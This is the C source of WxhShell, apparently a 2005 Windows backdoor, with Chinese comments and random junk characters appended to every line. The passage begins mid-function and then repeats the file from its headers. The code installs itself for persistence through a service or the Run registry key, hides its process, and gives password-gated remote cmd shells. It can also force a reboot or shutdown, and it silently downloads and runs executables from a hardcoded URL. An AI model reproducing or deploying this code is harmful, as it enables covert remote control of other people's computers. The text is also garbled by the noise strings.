    if(Boot(SHUTDOWN)) @yn1#E,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v1s0kdR,>  
    else { 4"%LgV`  
    closesocket(wsh); Ivc/g,  
    ExitThread(0); ~$ "P\iJ  
    } 3gba~}c)  
    break; i}LVBx"K(  
    } $%3%&+z$I  
  // 获取shell ,y*|f0&"~  
  case 's': { $[*<e~?  
    CmdShell(wsh); DqBiBH[%h  
    closesocket(wsh); mp>Ne6\Tu  
    ExitThread(0); ,A!0:+  
    break; 'di(5  
  } Eg#WR&Uq"  
  // 退出 'W J3q|o/  
  case 'x': { XRWy#Pj  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); agPTY{;  
    CloseIt(wsh); 10e~Yc  
    break; 1ihdH1rg[  
    } |Skhx9};  
  // 离开 &\M<>>IB  
  case 'q': { QetyuhS~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]9NA3U7F  
    closesocket(wsh); IX 2 dic'  
    WSACleanup(); :^992]EBEj  
    exit(1); GA"zO,  
    break;  F]KAnEf  
        } xU;;@9X  
  } Z(a,$__  
  } 3g5 n>8-  
/X97dF)zt  
  // 提示信息 :5BVVa0oR  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QNgfvy  
} 4Yya+[RY  
  } 8~8VoU&  
#\$AB_[ot>  
  return; y^hCO:`l3  
} p`06%"#  
Lk1e{! a  
// shell模块句柄 JWvL  
int CmdShell(SOCKET sock) Hn!13+fS  
{ <GO 5}>}p8  
STARTUPINFO si; xg_9#  
ZeroMemory(&si,sizeof(si)); , LVZ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #>dj!33  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; FkY <I]F  
PROCESS_INFORMATION ProcessInfo; ^ah9:}Ll  
char cmdline[]="cmd"; xh9Os <  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); q!\4|KF~  
  return 0; bGe@yXId5  
} .V`N^ H:l  
o0:RsODl  
// 自身启动模式 L/2,r*LNx$  
int StartFromService(void) $irF  
{ Ud'/ 9:P  
typedef struct `ehcj G1nY  
{ i9j#Tu93 f  
  DWORD ExitStatus; fu $<*Sa2  
  DWORD PebBaseAddress; <#F@OU  
  DWORD AffinityMask; TnQ"c)ta  
  DWORD BasePriority; EK$3T5e  
  ULONG UniqueProcessId; 7 HM%Cd  
  ULONG InheritedFromUniqueProcessId; 7FGi+  
}   PROCESS_BASIC_INFORMATION; ![j?/376  
IcP\#zhEv  
PROCNTQSIP NtQueryInformationProcess; &*8_w-  
6#(==}Sm+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V(3=j)#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jPa"|9A  
V3<H8pL  
  HANDLE             hProcess; CWw#0  
  PROCESS_BASIC_INFORMATION pbi; ?n(OH~@$i  
+ Un(VTD  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); QSSA)  
  if(NULL == hInst ) return 0; T?HW=v_a  
}YCpd)@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0<#>LWaM_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /Xk-xg+U  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 25{-GaB  
 aK33bn'j  
  if (!NtQueryInformationProcess) return 0; a(oa?OdJ  
L(+I  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); U;#9^<^  
  if(!hProcess) return 0; T1#r>3c\  
:kQydCuK  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2R];Pv  
8(ej]9RObU  
  CloseHandle(hProcess); lgQ"K(zY  
chA7R'+LA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~EtwX YkRZ  
if(hProcess==NULL) return 0;  x>$e*  
]+A%3 7  
HMODULE hMod; Wmc@: (n  
char procName[255]; p(Ux]_s%  
unsigned long cbNeeded; \45F;f_r6  
bYAtUEv  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .W s\%S  
w;;9YFBdM  
  CloseHandle(hProcess); #gsJ tT9  
cPy/}A  
if(strstr(procName,"services")) return 1; // 以服务启动 "."ow|  
|wINb~trz  
  return 0; // 注册表启动 qV7 9bK  
} @|([b r|O  
:T )R;E@  
// 主模块 WT63ve  
int StartWxhshell(LPSTR lpCmdLine) a(uZ}yS$  
{ 5yk#(i 7C  
  SOCKET wsl; zd|n!3;  
BOOL val=TRUE; 5y8VA4L/o  
  int port=0; c*.-mS~Z`  
  struct sockaddr_in door; @L$!hTaP  
dVe,;?+A  
  if(wscfg.ws_autoins) Install(); Q>(a JF  
-}(2}~{e(  
port=atoi(lpCmdLine); l}SHR|7<  
o3YW(%cYR  
if(port<=0) port=wscfg.ws_port; C?j:+  
[h63*&  
  WSADATA data; Z7XFG&@6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; nO+R >8,Q  
Jb*E6-9G  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   v =d16  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); CorV!H4  
  door.sin_family = AF_INET; ,pIh.sk7s*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /mXxj93UA  
  door.sin_port = htons(port); lFl(Sww!\  
# /Bg5:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Bmt^*;WY+  
closesocket(wsl); iD*L<9  
return 1; -}_1f[b  
} y9b%P]i  
l];/,J^  
  if(listen(wsl,2) == INVALID_SOCKET) { 6EeO\Qj{  
closesocket(wsl); EF6h>"']/  
return 1; *:"@  
} X|-[i hp;  
  Wxhshell(wsl); RqX^$C8M  
  WSACleanup(); F3hG8YX  
1mD)G55Ep  
return 0; dci<Rz`h  
5th?m>  
} [ ou$*  
y @S_CB 47  
// 以NT服务方式启动 NfUt\ p*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #q 4uS~  
{ ,l Y4WO  
DWORD   status = 0; Xv3pKf-K  
  DWORD   specificError = 0xfffffff;  TJ1h[  
Wy%FF\D.Y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "([/G?QAG  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; h+ud[atk.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; tuLNGU  
  serviceStatus.dwWin32ExitCode     = 0; T<-_#}.Hn  
  serviceStatus.dwServiceSpecificExitCode = 0; `/^ _W <  
  serviceStatus.dwCheckPoint       = 0; M*f]d`B  
  serviceStatus.dwWaitHint       = 0; P?S]Q19Q4  
5vg="@O K  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?}uuTNLl)  
  if (hServiceStatusHandle==0) return; h aApw(.%  
L&s$&E%  
status = GetLastError(); Uo71C4ev  
  if (status!=NO_ERROR) <v'&Pk<  
{ $1g1Bn  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <z\`Ma  
    serviceStatus.dwCheckPoint       = 0; AgZ?Ry  
    serviceStatus.dwWaitHint       = 0; GC:q6}  
    serviceStatus.dwWin32ExitCode     = status; @$~IPg[J  
    serviceStatus.dwServiceSpecificExitCode = specificError; n}I?.r@e  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &gPP# D6A  
    return; 8CZ%-}-%$  
  } k/D{&(F ~  
5'c#pm\Q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4Y$\QZO  
  serviceStatus.dwCheckPoint       = 0; 5C&*PJ~WA  
  serviceStatus.dwWaitHint       = 0; |R1T;J<[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); i[@13kr  
} 2j}DI"|h  
+FAj30  
// 处理NT服务事件,比如:启动、停止 s8)`wH ?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9! /kyyU  
{ a{.q/Tbt  
switch(fdwControl) px "H  
{ X\/M(byn  
case SERVICE_CONTROL_STOP: #-@u Lc  
  serviceStatus.dwWin32ExitCode = 0; .p,VZ9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6y~F'/ww  
  serviceStatus.dwCheckPoint   = 0; -rn6ZSD)  
  serviceStatus.dwWaitHint     = 0; 'It8h$^j  
  { @0 /qP<E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -sfv"?  
  } ;}j(x;l>t  
  return; w7o`B R  
case SERVICE_CONTROL_PAUSE: naW!b&:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >W;NMcN~  
  break; h='F,r5#2  
case SERVICE_CONTROL_CONTINUE: t`&x.o  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8lL|j  
  break; tKeTHj;jO  
case SERVICE_CONTROL_INTERROGATE: `/ayg:WSU  
  break; P/girce0  
}; hd u2?v@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8M@'A5]  
} [d8Q AO1;)  
RGE(#   
// 标准应用程序主函数 {X&lgj  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 80wzn,o S  
{ &8z<~q  
d.^g#&h  
// 获取操作系统版本 (XQuRL<X  
OsIsNt=GetOsVer(); eM:J_>7t  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Iz5NA0[=2  
_BmObXOp.  
  // 从命令行安装 Ph1XI&us9  
  if(strpbrk(lpCmdLine,"iI")) Install(); =i&,I{3  
'Vo8|?.WhX  
  // 下载执行文件 S k~"-HL|  
if(wscfg.ws_downexe) { CMaph  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *B"Y]6$  
  WinExec(wscfg.ws_filenam,SW_HIDE); Z(T{K\)uN  
} RHg-Cg`  
. \"k49M`  
if(!OsIsNt) { 0{|HRiQH9+  
// 如果时win9x,隐藏进程并且设置为注册表启动 k=hWYe$iAz  
HideProc(); 8~]D!c8;a  
StartWxhshell(lpCmdLine); odsFgh  
} AQg|lKv  
else w8UuwFG?<  
  if(StartFromService()) r8Mx +r  
  // 以服务方式启动 fq]PKLW'  
  StartServiceCtrlDispatcher(DispatchTable); DS<1"4 b|  
else ^,acU\}VqP  
  // 普通方式启动 ]:59c{O  
  StartWxhshell(lpCmdLine); ^ RA'E@ "  
rNii,_  
return 0; FM >ae-L-  
} [d6!  
b}3"v(  
yZ|"qP1  
o@Oz a  
=========================================== o)AwM"  
s|]g@cz an  
DAB9-[y+  
K>@yk9)vi  
HUi?\4  
#]kjyT0  
" ttzNv>L,  
6<._^hyq  
#include <stdio.h> "6$V1B0KW  
#include <string.h> a>'ez0C  
#include <windows.h> @1JwjtNk  
#include <winsock2.h> hj [77EEz  
#include <winsvc.h> <U@N ^#  
#include <urlmon.h> [y[d7V9_o  
udZOg  
#pragma comment (lib, "Ws2_32.lib") ;Y$>WKsV  
#pragma comment (lib, "urlmon.lib") &12K pEyf  
-3EQRqVg  
#define MAX_USER   100 // 最大客户端连接数 b-&iJ &>'  
#define BUF_SOCK   200 // sock buffer ;u UFgDi  
#define KEY_BUFF   255 // 输入 buffer :8A+2ra&  
QPJ \Iu@D$  
#define REBOOT     0   // 重启 elOeXYO0  
#define SHUTDOWN   1   // 关机 G%<}TI1}  
Nr~$i%[  
#define DEF_PORT   5000 // 监听端口 N{;!xI v  
;sZG=y@  
#define REG_LEN     16   // 注册表键长度 s[yWBew  
#define SVC_LEN     80   // NT服务名长度 2 |s ohF  
(^d7K:-'  
// 从dll定义API Je1d|1!3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); bbK};u  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); WQK<z!W5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); m+kP"]v  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }TmOoi(X@  
~~tTr $  
// wxhshell配置信息 %ou,|Dww  
struct WSCFG { `>gG"1,]  
  int ws_port;         // 监听端口  wA"@t  
  char ws_passstr[REG_LEN]; // 口令 !Zz;;Z  
  int ws_autoins;       // 安装标记, 1=yes 0=no K}~$h,n  
  char ws_regname[REG_LEN]; // 注册表键名 zX>W 8P  
  char ws_svcname[REG_LEN]; // 服务名 >lQo _p(;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1- KNXGb'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 KA5)]UF`l  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Z*%;;&?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Z2% HQL2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" BU O5g8m{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2ym(fk.6{  
) 7/Cg  
}; PsY![CPrW  
T*z]<0E]  
// default Wxhshell configuration Xwm3# o.&)  
struct WSCFG wscfg={DEF_PORT, l!mbpFt  
    "xuhuanlingzhe", Z'z)Oo  
    1, rbw$=bX}  
    "Wxhshell", )g0lI  
    "Wxhshell", `fu_){  
            "WxhShell Service", @I _cwUO  
    "Wrsky Windows CmdShell Service", I{Zb/}k-  
    "Please Input Your Password: ", RLmOg{L  
  1, WE<?y_0y&  
  "http://www.wrsky.com/wxhshell.exe", N9e'jM>Oos  
  "Wxhshell.exe" "TV'}HH  
    }; 4CNrIF@  
D*XrK0#Z`  
// 消息定义模块 QQ*sjK.(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; J1?;'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2"Os9 KD  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; jjs/6sSRk  
char *msg_ws_ext="\n\rExit."; *c0H_8e  
char *msg_ws_end="\n\rQuit."; @T'^V0!-q:  
char *msg_ws_boot="\n\rReboot..."; \iuR+I  
char *msg_ws_poff="\n\rShutdown..."; F^i3e31*t  
char *msg_ws_down="\n\rSave to "; OxlA)$.hpu  
9mF '   
char *msg_ws_err="\n\rErr!"; (!~cO x   
char *msg_ws_ok="\n\rOK!"; Kb.qv)6i*  
D!<F^mtl  
char ExeFile[MAX_PATH]; wu41Mz7  
int nUser = 0; YB#fAU  
HANDLE handles[MAX_USER]; @CMI$}!{V  
int OsIsNt; `+7F H  
kB7vc>@1  
SERVICE_STATUS       serviceStatus; !NXjax\r  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $%<{zWQm  
?|nl93m  
// 函数声明 7#V7D6j1  
int Install(void); MqyjTY::Xg  
int Uninstall(void); P"YdB|I  
int DownloadFile(char *sURL, SOCKET wsh); YW}$eW*  
int Boot(int flag); X\}l" ]  
void HideProc(void); R+ * ; [  
int GetOsVer(void); pwFp<O"  
int Wxhshell(SOCKET wsl); ewDYu=`*  
void TalkWithClient(void *cs); -^_m(@A<~  
int CmdShell(SOCKET sock); "F F$Q#)  
int StartFromService(void); =u.@W98, K  
int StartWxhshell(LPSTR lpCmdLine);  N5 ME_)  
<Xf6?nyZ(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); L*@`i ]jl  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); BI'>\hX/V  
-IPo/?}  
// 数据结构和表定义 h\s/rZg=r  
SERVICE_TABLE_ENTRY DispatchTable[] = ;kFD769DLw  
{ AIF ?>wgq  
{wscfg.ws_svcname, NTServiceMain}, inP2y?j  
{NULL, NULL} p|>*M\LE#  
}; ~Y 6'sM|  
>O'\ jp}$l  
// 自我安装 7]=&Q4e4  
int Install(void) E^F"$Z" N  
{ F O!Td  
  char svExeFile[MAX_PATH]; A*JOp8\)  
  HKEY key; r- 8Awa  
  strcpy(svExeFile,ExeFile); mdi!Q1pS  
mF4W4~"  
// 如果是win9x系统,修改注册表设为自启动 s~M4. 06P  
if(!OsIsNt) { ?N#I2jxaD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p`tz*ewC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I _nQTWcm  
  RegCloseKey(key); uEPp%&D.+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E`HoJhB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q*DT" W/0  
  RegCloseKey(key); "?"  :  
  return 0; }:m#}s  
    } Mz@{_*2   
  } T:^.; ZY  
} ^<;W+dWdU  
else { P,v7twc0M  
[2:d@=%.  
// 如果是NT以上系统,安装为系统服务 T(!1\TB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )g pN 5TDd  
if (schSCManager!=0) vNO&0~  
{ Gp9 <LB\,  
  SC_HANDLE schService = CreateService WQ|Ufl;  
  ( u>XXKlW:  
  schSCManager, ; 476t  
  wscfg.ws_svcname, Agc ss20.  
  wscfg.ws_svcdisp, c`E>7Hjr-  
  SERVICE_ALL_ACCESS, #MC#K{Xd  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &;Ncc,jb  
  SERVICE_AUTO_START, O,$*`RZpx  
  SERVICE_ERROR_NORMAL, fB2ILRc  
  svExeFile, ak7%  
  NULL,  \XDiw~0  
  NULL, \f,<\mJ#  
  NULL, }8'_M/u\  
  NULL, 5i br1zs  
  NULL Yy~x`P'g!  
  ); e$L C  
  if (schService!=0) 9Po>laT 5  
  { 8mX!mYO3c  
  CloseServiceHandle(schService); +3,7 Apj  
  CloseServiceHandle(schSCManager); Th_@'UDa  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Agd"m4!  
  strcat(svExeFile,wscfg.ws_svcname); <bcf"0A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { lMv6QL\>'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \VPw3  
  RegCloseKey(key); "8QRYV~Z  
  return 0; =!Ik5LiD  
    } {i>AQ+z61f  
  } !@C-|=9G  
  CloseServiceHandle(schSCManager); Zpd-ob  
} 'o='Q)Dk  
} E:` _P+2p  
GMU!GSY  
return 1; \`.v8C>vG  
} &r,vD,  
EU(e5vO  
// 自我卸载 Z~:)hwF  
int Uninstall(void) xI,3(A.  
{ @!;A^<{ka  
  HKEY key; f]*;O+8$LN  
+|C@B`h  
if(!OsIsNt) { /qdvzv%T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'a(y]QG  
  RegDeleteValue(key,wscfg.ws_regname); @(R=4LL  
  RegCloseKey(key); <?41-p-;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }$)~HmZw  
  RegDeleteValue(key,wscfg.ws_regname); uQG|r)  
  RegCloseKey(key); BOpZ8p'eH1  
  return 0; + S+!:IB  
  }  II'.vp  
} fhi}x(  
} ?0)K[Kd'Y  
else { 7\@c1e*e  
IlJ"t`Z9)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :1d;jx>  
if (schSCManager!=0) <gPM/ 4$G  
{ k7uX!}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~,,r\Y+  
  if (schService!=0) rDl/R^w"  
  { ll__A|JQ  
  if(DeleteService(schService)!=0) { B9l~Y/3|  
  CloseServiceHandle(schService); m{oe|UVcmr  
  CloseServiceHandle(schSCManager); (~Z&U  
  return 0; [l=@b4Og  
  } ,RV>F_  
  CloseServiceHandle(schService); nLL2/!'n  
  } .QY>@b\  
  CloseServiceHandle(schSCManager); TY/'E#.  
} Pk&=\i<  
} 8B ,S_0!  
N_G&nw  
return 1; IAA_Ft  
} *mV?_4!,f7  
[__P-h{J  
// 从指定url下载文件 Fs >MFj  
int DownloadFile(char *sURL, SOCKET wsh) [XPAI["  
{ r'ilJ("  
  HRESULT hr; "d}']M?-h  
char seps[]= "/"; ,t_&tbf3  
char *token; tOXyle~C  
char *file; Ew4D'; &;  
char myURL[MAX_PATH]; 1G A.c:  
char myFILE[MAX_PATH]; z<Z0/a2'1  
N75U.;U0  
strcpy(myURL,sURL); <j,I@%  
  token=strtok(myURL,seps); HFB>0<$  
  while(token!=NULL) y%|Ez  
  { |>P:R4P  
    file=token; O0y0'P-rJq  
  token=strtok(NULL,seps); hxdjmc-  
  } _9-;35D_  
M*'8$|Z  
GetCurrentDirectory(MAX_PATH,myFILE); ]G&[P8hz B  
strcat(myFILE, "\\"); 8-gl$h  
strcat(myFILE, file); =ZS Yg K  
  send(wsh,myFILE,strlen(myFILE),0); krGIE}5  
send(wsh,"...",3,0); S#CaJ}M  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); f2tCB1[D+  
  if(hr==S_OK) _R0O9sPTO  
return 0; !C4)P3k  
else ,aWI&ve6  
return 1; H.hKh  
J<NpA(@^  
} ZT"vVX- )G  
o^5UHFxTCB  
// 系统电源模块 g[y&GCKY!=  
int Boot(int flag) Ce//; Op  
{ @@a#DjE%/  
  HANDLE hToken; 5~>j98K  
  TOKEN_PRIVILEGES tkp; ~Y0K Wx4  
;"f9"  
  if(OsIsNt) { &'neOf/~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); R,7.o4Wt  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); T&1-gswr:  
    tkp.PrivilegeCount = 1; 8/B8yY-O  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; qi^kf  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ']Czn._  
if(flag==REBOOT) { m[l&&(+J,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ao7M(f  
  return 0; vh|m[p  
} I 8 ?  
else { j!L7r'AV5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) oGXcu?ft  
  return 0; !9qw  
} o8g] ho  
  } H O>3>v  
  else { R {-M%n4w  
if(flag==REBOOT) { f&F9ImZ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %U<lS.i  
  return 0; >!PM5%G  
} mE+=H]`.p  
else { PMiu "  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?mi}S${g  
  return 0; `&)  
} 7lOAu]Zx  
} Q=<&ew  
u3cg&lEgT  
return 1; >7?Lq<H  
} 0/fwAp  
*Qngx  
// win9x进程隐藏模块 %YuFw|wO  
void HideProc(void) 0m4#{^Y  
{ l7WZ" 6d  
/w5c:BH  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |+-b#Sa9  
  if ( hKernel != NULL ) t}K8{ V  
  { pNHL&H\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #VZ-gy4$\B  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .i7"qq.M  
    FreeLibrary(hKernel); svC m }`  
  } EAs^i+/  
RR`\q>|  
return; zYis~ +  
} D.F1^9Q  
3ug>,1:6-  
// 获取操作系统版本 2_6@&2  
int GetOsVer(void) s ldcI@Z  
{ f'j<v  
  OSVERSIONINFO winfo; |o_ N$70  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +>tSO!}[  
  GetVersionEx(&winfo); ,]@Sytky  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) t,~feW,  
  return 1; Ch=jt*0  
  else +nYF9z2  
  return 0; 3cH^ ,F  
} 5uM`4xkj  
vQ5rhRG)E  
// 客户端句柄模块 e{Mkwi+j  
int Wxhshell(SOCKET wsl) u\K`TWb%  
{ lo7>$`Q  
  SOCKET wsh; ?+]   
  struct sockaddr_in client;  L$]Y$yv  
  DWORD myID; w~AO;X*Ke"  
{FN CC*=  
  while(nUser<MAX_USER) %zjyZ{=  
{ t4zKI~cO  
  int nSize=sizeof(client); ?R@u'4yK  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); V4*/t#L/  
  if(wsh==INVALID_SOCKET) return 1; bM,%+9oz;  
Z%{`j!!p  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9*a"^  
if(handles[nUser]==0) oC TSV  
  closesocket(wsh); LD;! s  
else Q-e(>=Gv_  
  nUser++; |pT[ZT|}G  
  } @ +>>TGC  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); nI`9|W  
JGlp7wro  
  return 0; aO *][;0  
} /p{$HkVw  
M r~IVmtf  
// 关闭 socket KpKZiUQm  
void CloseIt(SOCKET wsh) G'iE`4`2  
{ U uSCqI};  
closesocket(wsh); _o6Zj1p  
nUser--; `! )^g/>0i  
ExitThread(0); fc^d3wH0L  
} ;C5 J ^xHI  
|zp}u(N  
// 客户端请求句柄 <[z9*Tm  
void TalkWithClient(void *cs) ou\~^  
{ X<:Zx#J?i  
B5qlU4km&  
  SOCKET wsh=(SOCKET)cs; XAUHF-"WE  
  char pwd[SVC_LEN]; tIW~Ng  
  char cmd[KEY_BUFF]; RAoY`AWI  
char chr[1]; t|59/R  
int i,j; 97^)B4  
`G>BvS5h  
  while (nUser < MAX_USER) { EE~DU;p;]  
AgJPtzs  
if(wscfg.ws_passstr) { : UDh{GQ*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _3m\r*(vmQ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'q{d? K  
  //ZeroMemory(pwd,KEY_BUFF); NY%=6><t!  
      i=0; u:}yE^8@  
  while(i<SVC_LEN) {  rUBc5@|  
(p?B=  
  // 设置超时 >'{'v[qR[G  
  fd_set FdRead; LE+#%>z>  
  struct timeval TimeOut; 7eyx cr;z  
  FD_ZERO(&FdRead); l\&Tw[O  
  FD_SET(wsh,&FdRead); . L]!*  
  TimeOut.tv_sec=8; L@~0`z:>iP  
  TimeOut.tv_usec=0; #D Oui]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4u]>$?X1_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %H7H0 %qW  
]]V| ]}<)m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a q]bF%7  
  pwd=chr[0]; '+\.&'A  
  if(chr[0]==0xd || chr[0]==0xa) { }N#hg>; B  
  pwd=0; QzD8 jk#  
  break; 'zx1kq1  
  } IUwMIHq&sW  
  i++; aeTVcq  
    } MY z\ R \  
X/<Q3AK  
  // 如果是非法用户,关闭 socket }&/_ S  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +#7)'c  
} QR[i9'`<  
V?-OI>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -hP>;~*4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;c0z6E /  
w7Vl,pN,  
while(1) { e~Z>C>J  
cy( WD#^  
  ZeroMemory(cmd,KEY_BUFF); Y~-P9   
ck#MpQ!An  
      // 自动支持客户端 telnet标准   ),4c b  
  j=0; %gV~e@|  
  while(j<KEY_BUFF) { u*<knZ~ty  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J+f*D+x1  
  cmd[j]=chr[0]; G>j4b}e  
  if(chr[0]==0xa || chr[0]==0xd) { DBZ^n9  
  cmd[j]=0; P(~vqo>!  
  break; W4S! rU  
  } zr1A4%S"  
  j++; *ta?7uSiT  
    } {Nny .@P)H  
{*t0WE&1t  
  // 下载文件 yq\p%z$:  
  if(strstr(cmd,"http://")) { ])$Rw $`w  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); vuNq7V*}  
  if(DownloadFile(cmd,wsh)) &265 B_'D  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "/$2oYNy+  
  else <P1x3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NVq3h\[X  
  } I?Ct@yxhF'  
  else { b=Oec%Adx  
}ujl2uhM  
